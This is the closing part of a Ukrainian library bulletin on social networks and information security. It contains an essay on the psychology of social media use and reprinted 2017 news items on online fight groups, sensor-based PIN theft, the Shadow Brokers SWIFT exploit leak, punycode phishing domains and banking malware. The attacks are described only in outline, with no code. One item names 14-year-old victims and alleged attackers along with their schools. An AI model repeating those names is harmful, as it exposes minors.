Пов'язана з нашим бажанням не випадати з соціального контексту. Серед сучасних людей багато кому знайомий страх того, що одного разу їх зв'язки втратять свою актуальність, про них забудуть, важливі події будуть проходити без них. Бажання «тримати руку на пульсі» або іншими словами «контролювати» оточення та події, які в ньому відбуваються і є реалізацією так званої потреби в упізнаванні. Упізнання в даному випадку – це самоідентифікація, якоюсь мірою ми визначаємося і через наше оточення, яке боїмося втратити. Особливо яскраво це проявляється в тих випадках, коли люди змінюють роботу, місто або країну. Взаємодія через соціальні мережі – це спроба подолання соціальної деривації, це компенсація. Тому спілкування в мережі може видатися в окремих випадках достатньо корисним для подолання внутрішньої невпевненості, ізоляції.

Потреба у визнанні

Це одна із найактуальніших потреб сучасного покоління. Ще кілька років тому навіть офіційна державна політика базувалась на засадах спільності та рівності. Тепер ми знаємо, що світ належить кращим. І для того, щоб щось мати треба щось із себе представляти, або хоча б удавати. Пригадайте статуси дівчат, які цитують компліменти своїх бойфрендів на власну адресу, які фотографують свої вечері в ресторанах, коштовні подарунки або пишаються тим, що отримали підвищення. Вони наче намагаються сказати всьому світу «заздрить мені». Для кожної людини є важливим, щоб оточуючі розуміли, що вона гарна, розумна, професійна. Але у когось це менш виражена потреба, а у більшої частини дана потреба є більш актуальною. Проголошуючи про свої досягнення, пишаючись своїм особистим життям, фаховими успіхами, стилем у інших складається враження, що такі особи в більшій мірі намагаються переконати себе в своїй успішності. В цьому є правда. От вам і баланс. Де межа між тим, що ти хочеш поділитися своєю радістю з іншими, а де отримати визнання та побавити власне нарцистичне его? До речі, дослідження

взаємозв'язку між, так званою, самозакоханістю та активністю у соціальних мережах є достатньо популярними. Як зазначає Лора Буффаді, нарцистичні особи активні в соціальних мережах, вони частіше за інших відмічають себе на фото, мають велику кількість «друзів»-підписників. Звичайно, є і зворотній бій активності – повна її відсутність. Але ізоляція та відмежування від спілкування в Інтернеті, на думку німецького дослідника Кристофа Мюллера, є підтвердженням наявності проблем із психічним здоров'ям людини. Мюллер вважає низьку активність у соціальних мережах – небезпечним симптомом. Газета Der Tagesspiegel, посилаючись на автора теорії, зазначає, що перевірка активності в Інтернеті є інструментом для виявлення асоціальних особистостей. Дедалі частіше, і в Україні зокрема, кадрові агенції під часу пошуку спеціалістів на вакантні посади моніторять персональні сторінки претендентів в соціальних мережах. Часто зміст профілю може надати вичерпну інформацію про користувача. Німецьке видання пише, що у разі відсутності профайлу у соціальній мережі, компанії-рекрутери з більшою вірогідністю відмовляють претендентам на посаду, адже вважають, що таким людям є що приховувати, вони мають складнощі у спілкуванні з іншими особами, а відповідно, їм буде важко працювати в колективі.

Потреба у структуруванні часу

Повернемось до потреб, які можна задовольнити спілкуванням у соціальній мережі. Таке спілкування в певній мірі задовольняє і потребу у структуруванні часу. Ерік Берн виділяв різні види структурування часу: ритуали, процедури, розваги, близькість та гру. Ритуали в соціальних мережах представлені у вигляді нагадувань привітати підписника із днем народження. Процедури ми виконуємо, коли створюємо відео конференції та обговорюємо робочі та організаційні моменти нашого життя. Розваги – це коли ми спілкуємося на теми хобі та інтересів. Близькість в мережах реалізується у позначенні статусів на кшталт «у стосунках», налаштуваннях приватності сторінки. До гри часто відносять спілкування із маніпулятивним відтінком. Таким чином, можна підсумувати, що контекст спілкування для людей новий, а от психологічні спонукачі до нього – старі, як світ. І коли сьогодні до психологів приходять люди зі скаргою на те, що вони мають залежність від соціальних мереж, за цим стоїть одна із зазначених потреб. А що означає потреба? Потреба – це дефіцит, це нестача у чомусь. Потреба не виникає на порожньому місці, вона часто може дуже влучно описати свого носія. Якщо ви читаете цей текст і розумієте, що частіше, ніж потрібно заглядаєте на Фейсбук або «ВКонтакте», або навіть просто автоматично та бездумно оновлюєте стрічку новин без особливої на це потреби, подумайте, що саме або кого ви очікуєте там побачити?

([вгору](#))

Додаток 9

13.04.2017

Сестра избитой школьницы рассказала о группах жестоких драк в соцсетях

Жестокая драка школьниц в Чернигове, которая потрясла всю Украину до сих пор является одной из главных тем обсуждения в стране. У девушек, которые избивали школьницу, есть как противники, так и защитники. Большинство из них требуют сурового наказания для них, однако защитники рассказывают, что в молодости бывает всякое – и драки тоже. «КП в Украине» рассказали о том, что девушки, избившие школьницу, состояли в группе в соцсетях, куда выкладывали видео жестоких драк (InternetUA).

Подробности инцидента рассказала старшая сестра Полины (избитая девочка) Юлия Малоштан. Юлия рассказала, почему избili именно ее сестру.

«Жертвой этих девушек мог стать любой, даже прохожий. Они придираются ко всем, избивают, снимают и выкладывают видео в сеть. Дело в том, что девочки состоят в “ВКонтакте” в группе “Забивы”. В ней доходит вплоть до того, что выкладывают фото непонравившегося человека, они его ищут, бьют, снимают, выкладывают в сеть и зарабатывают на этом деньги. “Синие киты” по сравнению с этим – цветочки», – сообщила она.

Полину во дворе уже ждали подростки с включенными камерами, поэтому Юлия уверена – избиеие ее сестры спланировали заранее. Также Уполномоченный Президента Украины по правам ребенка Николай Кулеба рассказал о популярности жестоких сообществ в соцсетях.

«В социальных сетях набирают популярность сообщества “Забивы”, ULTRAPIR и другие, где дети ради лайков бьют друг друга едва ли не до смерти. У них “соревнуются” видео, где многочисленная группа подростков в прямом смысле забивает одноклассников. Если твой “вайн_батл” набирает большое количество лайков и перепостов – ты крутой, смелый, победитель», – написал Николай Кулеба на своей странице в Facebook.

«Сейчас у Полины очень сильные головные боли, сказывается сотрясение мозга. К тому же она подавлена морально. И маму очень жалко, она это очень тяжело переносит», – говорит Юлия.

Юлия рассказала, что семье угрожают и требуют забрать заявление из полиции. Из-за этого они не могут перевести пострадавшую Полину в киевскую больницу – боятся нового нападения.

«Нам угрожают, требуют, чтобы мы забрали заявление из полиции, но мы этого не сделаем. Я не знаю, что решит суд, но настроена, идти до конца. Буду подавать апелляцию и добьюсь того, чтобы хулиганок посадили в тюрьму», – говорит Юлия Малоштан.

Полина стала не единственной жертвой компании. Буквально накануне избili ее друга Максима.

Как выяснилось впоследствии, на видео фигурировали 32 подростка из разных школ Чернигова.

Что известно о девушках, которые «на камеру» избивали 14-летнюю Полину?

Самая старшая 18-летняя Евгения Тимченко (на видео слышно, что ее просят отойти от Полины, «потому что она ее убьет»), сейчас все еще студентка Черниговского национального педагогического университета им. Т. Шевченко. Она учится на факультете дошкольной педагогики и английского языка. При хороших раскладах, могла бы стать воспитателем в детском саду и заниматься малышами. На днях девушка подала заявление на уход из ВУЗа, но его пока не удовлетворили.

«Заявление мной еще не подписано. Она хочет уйти, но я хотел бы с ней пообщаться, услышать какие-то объяснения, почему это так произошло», – сказал ректор Черниговского педагогического университета Николай Носко.

Зачинщицей драки называют 14-летнюю Машу Миронову. По словам ее мамы Оксаны Пивень, она была в шоке от увиденного, ведь дома ее девочка ведет себя нормально.

Маша Миронова живет с мамой и старшей сестрой, учится в 8-м классе. Полина Малоштан не первая ее жертва – девушка уже была неоднократно замечена в избиениях ровесников.

Еще одной активной участницей стала Настя Ярина. Девушка учится в 8-м классе Черниговского лицея №32. В учебном заведении она на хорошем счету, активная с ярко выраженными лидерскими качествами.

«Я бы не назвала ее проблемной девочкой. И что ею руководствовало в тот момент, для меня остается загадкой», – говорит заместитель директора по воспитательной работе лицея №32 Елена Ячминник. Кроме того, раньше девушка никогда не состояла на учете в полиции и не была замечена ни в чем противозаконном, а отец ее в прошлом имел отношение к правоохранительным органам.

[\(вверх\)](#)

Додаток 10

12.04.2017

О запрете Facebook в России. Конфликт радикализируется Евгений Титов

О запрете Facebook в РФ. С такой инициативой выступил питерский депутат Милонов. Но возможно, тут работает целое аналитическое учреждение. Вот смотрите: всякой революции предшествует образование определенного социального слоя недовольных ([UAINFO](#)).

Но эти недовольные вначале не представляют собой четкой группы: они еще не осознают своих требований, своих претензий к власти, они ходят вокруг да около. Они еще присматриваются друг к другу.

Чтобы они сплотились и оформились в группу, должен быть выполнен ряд условий. И протесты 26 марта как раз показали, что это уже происходит.

Во-первых, идет систематическое рекрутирование новых сторонников протеста: ветераны оппозиции устали, но в протестное движение вливается новая кровь.

Во-вторых, у этих новеньких отлично налажена коммуникация, в том числе через Фэйсбук. А этот момент – принципиальный для образования группы.

Чем больше у людей возможности общаться друг-с другом, тем выше вероятность их объединения. В-третьих, у этих новеньких есть четкая идейная установка – борьба с коррупцией как системой социальной несправедливости.

Для окончательного оформления в конфликтную группу, для объединения протестующих должно быть выполнено последнее условие, свобода собраний. И Путин как чекист это понимает, потому и собираться не дает. Как понимает и то, что группе необходимо подорвать каналы коммуникации. Отсюда и эта инициатива депутата Милонова.

Между тем, мы видим, что во всех ютьюбах страны кроме Навального появляется и Григорий Албуров. И это тоже отрадный факт.

Потому что чем больше возникает руководящих кадров, тем яснее и реальнее оргструктура группы, ее иерархия. То есть государству с его руководящей структурой начинает противостоять оппозиция со своей руководящей структурой. Но Путин это принимать отказывается, и тем самым он увеличивает насильственность будущего конфликта.

С конфликтом надо работать, регулируя его течение. А путинская вертикаль к этому неспособна. Она выбрала способ насильственного подавления, о чем и говорит инициатива Милонова. Но ведь подавление окончательным быть не может, потому что коррупция никуда не денется, а всех ее противников расстрелять и пересажать невозможно.

Путин же, как мы видим, не способен приходить к соглашениям. А потому растет острота противостояния, то есть конфликт радикализируется. Значит, когда он перейдет в активную фазу, он вызовет огромные социальные изменения. Нас ждут потрясения.

[\(вверх\)](#)

Додаток 11

12.04.2017

Хакеры могут узнать ПИН-код через акселерометр в смартфоне

Многие современные смартфоны оборудованы сканерами отпечатков пальцев или другими способами биометрической авторизации. При этом некоторые пользователи по ряду причин отдают предпочтение классическим ПИН-кодам и паролям. Оказывается, что датчики внутри смартфона способны «рассказать» ваши пароли. Специалисты в области кибербезопасности из Ньюкаслского университета выяснили, что четырёхзначный ПИН-код можно взломать с помощью данных, полученных с датчиков смартфона ([Grifonsoft](#)).

«Большинство смартфонов, планшетов и других носимых устройств оснащены множеством датчиков от GPS, камеры и микрофона до таких инструментов, как гироскоп, датчик приближения, NFC и акселерометр. Но, поскольку мобильным приложениям и веб-сайтам не нужно запрашивать

разрешение на доступ к большинству из них, вредоносные программы могут скрытно собирать данные с этих сенсоров и использовать их для получения широкого спектра конфиденциальной информации о вас, вроде времени телефонного звонка, касаний к экрану, ПИН-кодов и паролей», – сказал Марьям Мехнежад, глава исследовательской команды.

Исследователи выяснили, что каждое прикосновение к экрану мобильного устройства вызывает уникальное движение устройства. Таким образом, злоумышленники могут проанализировать движения мобильного устройства на основе полученных данных и определить по ним вводимый пользователем текст, пароли и т. д.

«В зависимости от того, как мы печатаем – держите ли вы телефон в одной руке и используете большой палец, или, возможно, держите его одной рукой и печатаете другой, прикасаетесь ли вы или проводите пальцем по экрану – устройство будет наклоняться определённым образом, и это позволяет распознать шаблоны наклона и связать их паролями, которые мы регулярно вводим», – отметил Соамак Шахандашти, соавтор исследования.

В ходе экспериментов специалистам удалось определить, что взломать четырёхзначный ПИН-код с помощью такого метода можно с точностью 70 % после первого ввода и со 100 %-й точностью после пятого ввода.

«Это немного похоже на мозаику – чем больше деталей вы собрали вместе, тем легче будет увидеть картину», – сказал Соамак Шахандашти.

Исследователи уже предупредили об этой проблеме крупных производителей смартфонов, но последние никак не комментируют ситуацию.

[\(вверх\)](#)

Додаток 12

13.04.2017

В Лондоне обвинили кибершпионов во влиянии на «Брекзит»

Оксана Кундиренко

Иностранные кибер-шпионы могли повлиять на результаты референдума по Брэкзиту. К таким выводам пришла спецкомиссия британского парламента, которая расследовала сбои в работе сайта регистрации (podrobnosti.ua).

Откуда взялась армия ботов – знает наш собкор в Лондоне Оксана Кундиренко.

Еще одна кибератака и еще одна подтасовка голосования? Незадолго до исторического референдума по Брэкзиту сайт британского центризберкома рухнул. Избиратели не смогли зарегистрироваться буквально перед самим плебисцитом. «Слишком много желающих, сайт не выдержал нагрузки», – оправдывались тогда в Центризбиркоме. Но оказалось, все гораздо сложнее.

Спецрасследование парламентской группы показало, что на сервер совершили DDOS-атаку. Причем при помощи бот-сети, это целая армия «зомби-компьютеров», способных привести к отказу системы. Тогдашнему

премьеру Кэмерону пришлось срочно продлевать срок регистрации для тех, кто хотел высказаться на референдуме.

«Угрозы от других государств поступают со всех фронтов – для жизненно важных национальных систем, для экономики через коммерческий шпионаж. Мы согласны, что хакеры иногда достигают успеха и надо быть к этому готовым», – говорит Кариан Мартин, исполнительный директор Национального Центра Кибербезопасности Великобритании.

В новом центре кибербезопасности, которым даже перед королевой хвастаются – убеждают, что активно пытаются предотвратить подобные инциденты. А в этом конкретном случае угадывается почерк России или Китая – считают депутаты. Эти страны не впервые при помощи электронных систем пытаются повлиять на внутренние процессы в других государствах.

Американцы из-за кибератак во время выборов даже выслали российских дипломатов из страны. В Британии пока не спешат открыто кого-либо обвинять. Но усиливают онлайн системы защиты, чтобы избежать подобных сбоев в будущем.

[\(вверх\)](#)

Додаток 13

19.04.2017

Павел Дуров обвинил Apple и Google в крупнейшем в истории мошенничестве

Основатель «ВКонтакте» и создатель мессенджера Telegram Павел Дуров заявил, что Apple и Google «могут быть причастны к крупнейшему в истории человечества случаю мошенничества в отношении потребителей», так как читают записи и прослушивают звонки пользователей и передают их содержимое правоохранительным органам в различных странах ([InternetUA](#)).

Дуров рассказал о том, что в Telegram с недавних пор есть возможность осуществлять зашифрованные звонки, которые полностью конфиденциальны и безопасны. В отличие от других сервисов, которые передают данные правоохранителям.

«У Telegram исторически были проблемы с регуляторами в некоторых частях мира, потому что, в отличие от других сервисов, мы последовательно защищали частную жизнь наших пользователей и никогда не заключали сделок с правительствами. За три с половиной года существования Telegram передал ровно 0 байт информации пользователей третьим лицам», – сказа Дуров.

Бизнесмен пояснил, что именно по этим причинам в Саудовской Аравии трафик Telegram глушат, а в Китае, Омане и Иране сервис заблокирован. С другой стороны, такие сервисы, как WhatsApp, не имеют таких проблем в Китае, Саудовской Аравии, Иране и других странах с цензурой. Это происходит потому, что WhatsApp и Facebook торгуют доверием пользователей ради увеличения доли на рынке.

«Утверждение, что «WhatsApp и кто-либо еще не могут читать или прослушивать ваши сообщения и вызовы», абсолютно неверно. На самом деле WhatsApp может читать и прослушивать ваши звонки и сообщения, поскольку способен незаметно изменять ключи шифрования для 99,99 % своих пользователей», – добавил Дуров.

По его словам, другие компании, такие как Apple и Google, имеют прямой доступ к истории переписок WhatsApp благодаря разрешению сторонних резервных копий. Так как компании вынуждены иметь дело с запросами на получение доступа к данным, эти сведения передаются дальше.

«Заявляя о своей безопасности, наши конкуренты могут быть причастны к крупнейшему в истории человечества случаю мошенничества в отношении потребителей», – сказал Дуров.

В Telegram используется сквозное шифрование и встроенное зашифрованное и распределенное облако для сообщений и мультимедиа. Соответствующие ключи дешифрования разделены на части и распределены по различным юрисдикциям, что делает данные пользователей в облаке более защищенными и безопасными, чем когда они хранятся у Google, Facebook или Apple.

«Неудивительно, что власти и регулирующие органы недовольны Telegram. Хорошо, пусть они блокируют нас, как они хотят. Мы не будем изменять нашим принципам и предавать наших пользователей. Я знаю, что не очень здорово, когда Telegram (или отдельные его сервисы) запрещен в вашей стране. Но иногда лучше полностью прекратить использование сервиса, чем продолжать использовать его, несмотря на подорванное доверие к безопасности», – заключил Дуров.

[\(вверх\)](#)

Додаток 14

20.04.2017

У АНБ украли хакерские инструменты для взлома банковской системы SWIFT

Хакерская группа Shadow Brokers опубликовала новую порцию инструментов, похищенных у Equation Group, группировки, аффилированной с АНБ США. Как выяснилось, у The Equation были эксплойты, нацеленные на систему SWIFT ([InternetUA](#)).

Взять под контроль SWIFT

Shadow Brokers опубликовала очередную порцию инструментов взлома, предположительно принадлежащих Equation Group, хакерской группировки, связанной с АНБ США.

Среди этих инструментов обнаружилось средства для проведения атак на международную межбанковскую систему SWIFT и ее сервисных бюро. По-видимому, целью АНБ было заполучить возможность отслеживать любые транзакции, проводимые через эту систему.

Опубликованные инструменты также включают эксплойты для взлома систем на базе разных версий Windows, а также ряд презентаций и сопроводительных документов к этим и другим инструментам Equation.

Представители SWIFT заявили изданию Threatpost, что ни инфраструктура, ни данные SWIFT сами по себе не были скомпрометированы, но при этом «сторонние организации» могли получать несанкционированный доступ к каналам связи между сервисными бюро и их клиентами.

Сервисные бюро – это сторонние сервис-провайдеры, которые занимаются управлением и поддержкой подключений финансовых учреждений к сети SWIFTNet. В «сливе» Shadow Brokers в частности фигурируют подробные данные об архитектуре EastNets, крупнейшем сервисном бюро SWIFT на Ближнем Востоке, и данные для доступа к нему.

Стоит отметить, что американские спецслужбы после атак 11 сентября 2001 г. негласно получили доступ к финансовой информации в сети SWIFT – это было сделано с целью отслеживания возможных финансовых транзакций террористов.

В 2006 г. в The New York Times, The Wall Street Journal и Los Angeles Times были опубликованы материалы, посвященные возможности АНБ и ЦРУ мониторить транзакции в SWIFT, так что администрация этого сервиса подверглась жесткой критике за недостаточную защиту данных клиентов.

Впоследствии архитектуру всей системы начали обновлять – как раз с целью защитить тайну транзакций.

«В целом, нет ничего удивительного, что спецслужбы стремятся иметь доступ к данным SWIFT – это сильно упрощает им работу. Сейчас, когда стало известно, что Equation Group «ломали» сервисные бюро SWIFT, очевидно, что операторы SWIFT постараются минимизировать вероятность новых вторжений, поскольку они кровно в этом заинтересованы», – говорит Дмитрий Гвоздев, генеральный директор компании «Монитор Безопасности». – «Проблема в том, что усовершенствование безопасности потребует затрат времени, а инструментарий, которым пользовались Equation Group доступен всем желающим уже сейчас. И «желающими» будут отнюдь не только борцы с терроризмом».

Как подобраться к транзакциям SWIFT

Как поясняет в своей публикации французский эксперт по безопасности Мэтт Суиш (Matt Suiche), проанализировавший содержимое архива от Shadow Brokers, передача банковских данных производится через базу данных Oracle, на которую установлено специально ПО SWIFT. В архиве содержались эксплойты для Oracle, позволявшие вытягивать из БД различные сведения, включающие список пользователей и запросы SWIFT.

В EastNets, однако, отрицают, что их системы подверглись какой бы то ни было компрометации. «Сервисное бюро EastNets работает на отдельной безопасной сети, к которой невозможно получить доступ из публичных сетей. Изображения, опубликованные в твиттере с заявлениями о скомпрометированных данных, относятся к устаревшим страницам,

сгенерированным на низкоуровневом внутреннем сервере, который не функционирует с 2013 г.» – утверждают в EastNets.

Впрочем, эксперт по безопасности Кевин Бомон (Kevin Beaumont) тотчас же опроверг тезис EastNets о недоступности их внутренних сетей извне. Высказываются предположения, что хакеры АНБ могли использовать эксплойты к файерволлам Cisco и системам, работающим на Solaris, чтобы получить доступ к внутренним сетям сервисных бюро SWIFT, а затем уже атаковать базы данных Oracle.

Сколько других сервис-бюро SWIFT могли быть взломаны, пока неизвестно.

«Увидимся после Третьей Мировой...»

Shadow Brokers – это группировка, выкрывшая летом 2016 г. данные о хакерских инструментах АНБ и публиковавшая их в интернете. Некоторые попавшие к ней материалы она пытается продавать.

Нынешнее заявление Shadow Brokers по традиции написано на исковерканном английском языке. В конце говорится: «Может быть, если мы все переживаем Третью Мировую, theshadowbrokers видят вас следующая неделя. Кто знает, что у нас бывает в следующий раз».

Архив с инструментами The Equation Group был выложен на «Яндекс.Диск», однако к нынешнему моменту уже удален.

Неделей ранее Shadow Brokers опубликовали целый ряд инструментов взлома систем UNIX – в том числе эксплойты для удаленного запуска произвольного кода на Sun Solaris, Netscape Server, а также FTP-серверах и почтовых клиентах. Архив содержал также набор средств обеспечения скрытности, бэкдоров, кейлоггеров, средств мониторинга сетей и имплантов уровня ядра для UNIX.

Вдобавок Shadow Brokers опубликовали пароль к первому архиву Equation Group, который они хотели продать на аукционе. Поскольку желающих не нашлось, «теневые брокеры» раздали все бесплатно.

[\(вверх\)](#)

Додаток 15

19.04.2017

В Google Chrome появилась защита от фишинговых атак

Если вы придумали сложный пароль для своих учётных записей, то это не значит, что ваши данные будут в безопасности. В большинстве случаев злоумышленниками достаточно специально созданной электронной почты, чтобы заполучить информацию о другом человеке. Речь идёт о фишинговых атаках, когда людям массово рассылаются письма от имени крупных компаний, банков и других известных брендов со ссылками на поддельные страницы, где неосторожные пользователи вводят свои логины и пароли от банковских кабинетов и т.д. Браузеры Microsoft Edge, Internet Explorer и Safari защищены от

подобного вида мошенничества, а в скором времени к ним присоединится и Chrome ([InternetUA](#)).

С помощью метода преобразования последовательностей Unicode-символов в Punycode злоумышленники могут регистрировать поддельные домены, которые выглядят идентично настоящему веб-сайту. Вот один из примеров таких сайтов – apple.com. Вместо официального сайта компании Apple за этой ссылкой скрывается совершенно другой сайт – "https://www.xn--80ak6aa92e.com".

Префикс "xn--" указывает браузерам, вроде Chrome, что домен использует кодировку, совместимую с ASCII. Это позволяет компаниям и отдельным лицам из стран с нетрадиционными алфавитами регистрировать домен, который содержит символы A-Z, но отображает их на местном языке. К примеру, домен "xn--s7y.co" для китайских пользователей демонстрируется как "短 .co".

Google уже решила проблему с поддельными сайтами и внесла все необходимые изменения в Chrome 59. На данный момент эта версия доступна только на стадии ранней беты, но в скором времени все пользователи смогут её опробовать.

Компания Mozilla также знает об этой проблеме, но пока не решила её. Пользователи Firefox могут самостоятельно зайти в about:config через адресную строку и изменить значение «network.IDN_show_punycode» на «true». После этого браузер будет отображать международные домены в форме Punycode.

([вверх](#))

Додаток 16

20.04.2017

Преступники используют скрытые пиксели для сбора информации о жертвах

Злоумышленники используют маркетинговую технику, известную как «пиксели отслеживания» (или скрытый пиксель) для сбора информации о потенциальных жертвах или улучшения эффективности фишинговых атак, сообщили исследователи из компании Check Point ([InternetUA](#)).

Скрытый пиксель представляет собой прозрачную картинку размером 1x1 пиксель с фрагментом Java Script кода, который ведет отслеживание. Он может быть внедрен не только в HTML5-баннеры, но и на web-страницы или в электронные письма.

Когда пользователь получает электронное письмо, содержащее скрытый пиксель, с сервера отправителя загружается пиксель-трекер. Таким образом рекламодатель узнает, что пользователь открыл одно из отправленных сообщений. Трекеры собирают и загружают на сервер различную информацию о пользователе, включая данные об адресе электронной почты, IP-адресе, имени хоста, установленной операционной системе, файлах cookie, используемом

почтовом клиенте, дате и времени, когда письмо было открыто, и прочие сведения.

По словам исследователей, подобные трекеры могут использовать не только рекламные компании, но и злоумышленники. К примеру, атакующий может отправить письмо со скрытым пикселем на корпоративную почту целевой компании с просьбой переадресовать его определенному сотруднику или отделу. Данную операцию злоумышленник может проделать несколько раз, в итоге получив точную карту внутренней сети организации. Имея в своем распоряжении техническую информацию, преступник может определить наиболее подходящие для атак цели.

Пиксели отслеживания могут применяться не только в целевых атаках, но и в простых фишинговых кампаниях. На основе информации, собранной с помощью трекеров, мошенники могут составить список пользователей, которые вероятнее всего откроют подобные письма, отмечают исследователи.

[\(вверх\)](#)

Додаток 17

21.04.2017

Киберполиция Украины предупреждает о росте количества взломов сервисов интернет-банкинга

В настоящее время существует достаточно большое количество классификаций атак на интернет-банки с разными подходами и целями (IToboz.com).

Количество взломов сервисов интернет-банкинга в Украине будет расти за счет вирусов на платформе Android. Об этом сообщила пресс-служба Департамента киберполиции Нацполиции Украины на своей странице в Facebook. Известно, что в настоящее время существует достаточно большое количество классификаций атак на интернет-банки с разными подходами и целями. «Основное количество случаев мошенничества в системах интернет-банкинга приходится на мошенничество с помощью вредоносного программного обеспечения (ВПЗ), социальной инженерии, фишинговых атак. Причем, если по прогнозу масштабы использования вредоносного программного обеспечения на компьютерах постепенно будут уменьшаться, то использование троянов на платформе Android будет только расти. Одновременно лица, которые создают вирусы для компьютеров, будут все больше ориентироваться на западные банки, а фишинговые атаки автоматизироваться», – отметили в киберполиции. В большинстве случаев перечисленные атаки являются направленными (Advanced Persistent Threat, АРТ), то есть атаками, целью которых становится конкретный интернет-банк, а иногда и конкретные клиенты. Злоумышленники с помощью различных методов устанавливают на компьютер клиента троян, который вместо клиента формирует платежные поручения или подменяет в нем реквизиты платежа. Также в киберполиции отметили, что в любом случае, необходимо понимать,

что наличие средств защиты на стороне банка не гарантирует абсолютной безопасности. Опыт полиции показывает, что в 80 случаев причиной инцидента является несоблюдение требований безопасности на стороне клиента банка. Для того, чтобы уберечь себя от кибератак со стороны мошенников, в полиции посоветовали не забывать об организационных мероприятиях, которые в большинстве случаев намного эффективнее технических мероприятий. Для этого необходимо регулярно менять пароли во всех системах, предоставлять пользователю только необходимые для работы права, уделять внимание хранению ключей ЭЦП, иметь отработанные процедуры реагирования на инциденты. Наличие хорошо налаженных схем своевременной реакции на события позволит снизить убытки в случае мошенничества и предотвратить хищение. Своевременное обнаружение факта преступления и оперативное реагирование в течение 4 часов с момента отправки платежного поручения гарантируют возврат денежных средств на счет в 80 % случаев.

[\(вверх\)](#)

Соціальні мережі

як чинник інформаційної безпеки

Інформаційно-аналітичний бюлетень

Додаток до журналу «Україна: події, факти, коментарі»

Упорядник **Терещенко Ірина Юріївна**

Редактор **О. Федоренко**

Свідоцтво про державну реєстрацію КВ № 5358 від 03.08.2001 р.

Видавець і виготовлювач
Національна бібліотека України
імені В. І. Вернадського
03039, м. Київ, Голосіївський просп., 3
Тел. (044) 524-25-48, (044) 525-61-03
E-mail: siaz2014@ukr.net
www.nbuv.gov.ua/siaz.html

Свідоцтво про внесення суб'єкта видавничої справи
до Державного реєстру видавців виготівників
і розповсюджувачів видавничої продукції
ДК № 1390 від 11.06.2003 р.